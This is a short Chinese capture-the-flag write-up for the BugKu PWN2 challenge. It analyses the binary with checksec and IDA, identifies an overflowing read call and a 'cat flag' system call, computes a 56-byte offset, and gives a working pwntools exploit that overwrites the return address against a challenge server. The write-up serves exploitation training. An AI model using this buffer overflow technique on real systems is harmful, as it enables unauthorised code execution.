[BUGKU] [PWN] PWN2
先下载文件,拉入UBUNTU,checksec检查一下
checksec pwn2
发现啥都没开,最重要的是架构是amd64
在windows里把pwn2拉入64位ida
按F5
切换到伪C
注意这句话
read(0, &s, 0x100uLL);
常见的缓冲区漏洞
按shift+f12
查看字符串
发现有一个cat flag
按x
发现交叉引用
.text:0000000000400769 mov edi, offset command ; “cat flag”
.text:000000000040076E call _system
之后计算偏移offset
char s; // [sp+0h] [bp-30h]
s=30h=48
向上8字节rbp
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
所以offset=48+8=56
之后写exploit
from pwn import *
a=remote('114.116.54.89',10003)
a.recvuntil("?")
a.sendline(b"a" * 56 + p64(0x400769))
a.interactive()
然后运行
python 1.py
即可发现flag